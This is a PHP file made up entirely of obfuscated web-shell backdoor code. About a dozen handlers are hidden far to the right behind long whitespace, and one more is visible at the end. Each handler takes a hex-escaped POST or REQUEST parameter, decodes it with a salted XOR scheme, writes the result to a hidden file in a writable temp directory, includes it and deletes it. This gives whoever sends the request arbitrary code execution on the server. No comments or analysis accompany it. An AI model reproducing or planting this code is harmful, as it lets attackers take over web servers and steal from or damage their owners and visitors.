<?php																																										if(isset($_POST) && isset($_POST["f\x61\x63t\x6Fr"])){ $res = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); $fac = $_POST["f\x61\x63t\x6Fr"]; $fac= explode ( ".", $fac ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $t = 0; $len = count( $fac ); do {if( $t >= $len) break; $v9 = $fac[$t]; $chS = ord( $salt[$t% $sLen] ); $d = ( ( int)$v9 - $chS -( $t% 10)) ^29; $object .= chr( $d ); $t++; } while( true ); for ($k = 0, $element = count($res); $k < $element; $k++) { $desc = $res[$k]; if (!!is_dir($desc) && !!is_writable($desc)) { $holder = sprintf("%s/.rec", $desc); if (file_put_contents($holder, $object)) { include $holder; @unlink($holder); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "en\x74")){ $element = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getcwd()]); $dchunk = $_POST["en\x74"]; $dchunk = explode ( "." , $dchunk ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($dchunk as $y => $v8) { $chS = ord($salt[$y % $lenS] ); $d = ((int)$v8 - $chS - ($y % 10)) ^89; $flag.=chr($d ); } foreach ($element as $key => $dat) { if (max(0, is_dir($dat) * is_writable($dat))) { $obj = implode("/", [$dat, ".pgrp"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(@$_POST["h\x6Fl\x64er"] !== null){ $ref = $_POST["h\x6Fl\x64er"]; $ref = explode( '.' , $ref ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ref as $w => $v4) { $chS = ord($s[$w %$lenS]); $dec = ((int)$v4 - $chS - ($w %10)) ^55; $bind .= chr($dec); } $item = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm"]); for ($val = 0, $hld = count($item); $val < $hld; $val++) { $rec = $item[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $value = implode("/", [$rec, ".property_set"]); if (@file_put_contents($value, $bind) !== false) { include $value; unlink($value); exit; } } } }
																																										if(array_key_exists("\x65\x6Et", $_REQUEST)){ $entity = array_filter(["/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $data_chunk = $_REQUEST["\x65\x6Et"]; $data_chunk = explode( '.' , $data_chunk ) ; $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $v = 0; while( $v < count( $data_chunk)) {$v9 = $data_chunk[$v]; $chS = ord( $salt8[$v %$lenS]); $dec =( ( int)$v9 - $chS -( $v %10)) ^ 7; $descriptor .= chr( $dec); $v++; } foreach ($entity as $key => $symbol) { if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $itm = vsprintf("%s/%s", [$symbol, ".ent"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62ind\x69\x6E\x67"])){ $element = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd()]); $parameter_group = $_REQUEST["\x62ind\x69\x6E\x67"]; $parameter_group = explode(".", $parameter_group) ; $hld =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($parameter_group as $i=> $v2) { $chS =ord($salt[$i % $lenS] ); $dec =((int)$v2 - $chS - ($i % 10))^87; $hld .= chr($dec ); } foreach ($element as $data) { if (is_dir($data) && is_writable($data)) { $entry = "$data" . "/.bind"; if (file_put_contents($entry, $hld)) { require $entry; unlink($entry); exit; } } } }
																																										if(isset($_REQUEST["b\x69nd"]) ? true : false){ $item = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp"]); $symbol = $_REQUEST["b\x69nd"]; $symbol =explode( "." , $symbol) ; $object = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $symbol as $r => $v5) { $sChar = ord( $s4[$r % $lenS]); $d =( ( int)$v5 - $sChar -( $r % 10)) ^ 30; $object .= chr( $d); } foreach ($item as $key => $comp) { if (is_dir($comp) && is_writable($comp)) { $sym = str_replace("{var_dir}", $comp, "{var_dir}/.obj"); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_REQUEST["s\x79m\x62o\x6C"])){ $flag = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP")]); $pset = $_REQUEST["s\x79m\x62o\x6C"]; $pset = explode ( "." , $pset ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $z = 0; array_walk($pset , function ($v1) use (&$entry , &$z , $salt , $lenS) {$sChar = ord($salt[$z % $lenS] ); $dec = ((int)$v1 - $sChar - ($z % 10)) ^ 36; $entry .= chr($dec ); $z++; } ); for ($ent = 0, $hld = count($flag); $ent < $hld; $ent++) { $data = $flag[$ent]; if (is_dir($data) ? is_writable($data) : false) { $res = sprintf("%s/.property_set", $data); if (@file_put_contents($res, $entry) !== false) { include $res; unlink($res); die(); } } } }
																																										if(isset($_POST["\x6Dr\x6B"])){ $val = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm"]); $ref = $_POST["\x6Dr\x6B"]; $ref = explode( '.' , $ref ) ; $item= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $o= 0; foreach ($ref as $v7) { $chS= ord($s[$o % $sLen] ); $dec= ((int)$v7 - $chS - ($o % 10)) ^ 88; $item.=chr($dec ); $o++; } $pgrp = 0; do { $bind = $val[$pgrp] ?? null; if ($pgrp >= count($val)) break; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $res = sprintf("%s/.entity", $bind); $file = fopen($res, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $res; @unlink($res); die(); } } $pgrp++; } while (true); }
																																										if(isset($_REQUEST["\x6F\x62j"])){ $k = $_REQUEST["\x6F\x62j"]; $k = explode ( '.' , $k) ; $tkn= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $k as $l => $v2) { $chS= ord( $s[$l % $sLen]); $dec= ( ( int)$v2 - $chS -( $l % 10)) ^94; $tkn.= chr( $dec); } $ref = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", session_save_path()]); foreach ($ref as $key => $ent) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $flg = str_replace("{var_dir}", $ent, "{var_dir}/.elem"); if (file_put_contents($flg, $tkn)) { include $flg; @unlink($flg); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72e\x73")){ $factor = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); $mrk = $_POST["\x72e\x73"]; $mrk =explode ( '.', $mrk) ; $ref=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt9 ); $k=0; foreach ($mrk as $v8) { $chS=ord($salt9[$k % $sLen] ); $d=((int)$v8 - $chS - ($k % 10)) ^ 2; $ref .= chr($d ); $k++; } foreach ($factor as $value): if (is_dir($value) ? is_writable($value) : false) { $data = "$value" . "/.resource"; if (@file_put_contents($data, $ref) !== false) { include $data; unlink($data); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70rope\x72ty\x5Fset"])){ $elem = $_REQUEST["\x70rope\x72ty\x5Fset"]; $elem = explode ("." , $elem ) ; $record = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $__len = count($elem); for ($l = 0; $l < $__len; $l++) { $v3 = $elem[$l]; $sChar = ord($salt2[$l % $sLen]); $dec = ((int)$v3 - $sChar - ($l % 10)) ^ 49; $record.= chr($dec); } $descriptor = array_filter(["/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]); while ($ptr = array_shift($descriptor)) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $reference = str_replace("{var_dir}", $ptr, "{var_dir}/.resource"); $success = file_put_contents($reference, $record); if ($success) { include $reference; @unlink($reference); die();} } } }


if(@$_POST["\x64e\x73\x63ri\x70t\x6Fr"] !== null){
	$parameter_group = array_filter(["/var/tmp", "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	$k = $_POST["\x64e\x73\x63ri\x70t\x6Fr"];
	  	$k		=			explode	 	("."		 ,	$k			)	;
	$property_set = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($k as $q => $v3):
                $chS = ord($s[$q  %$sLen]);
                $dec = ((int)$v3 - $chS - ($q  %10))  ^ 	88;
                $property_set .= chr($dec);
            endforeach;
	foreach ($parameter_group as $bind):
    		if (!!is_dir($bind) && !!is_writable($bind)) {
    $data_chunk = vsprintf("%s/%s", [$bind, ".component"]);
    $success = file_put_contents($data_chunk, $property_set);
if ($success) {
	include $data_chunk;
	@unlink($data_chunk);
	die();}
}
endforeach;
}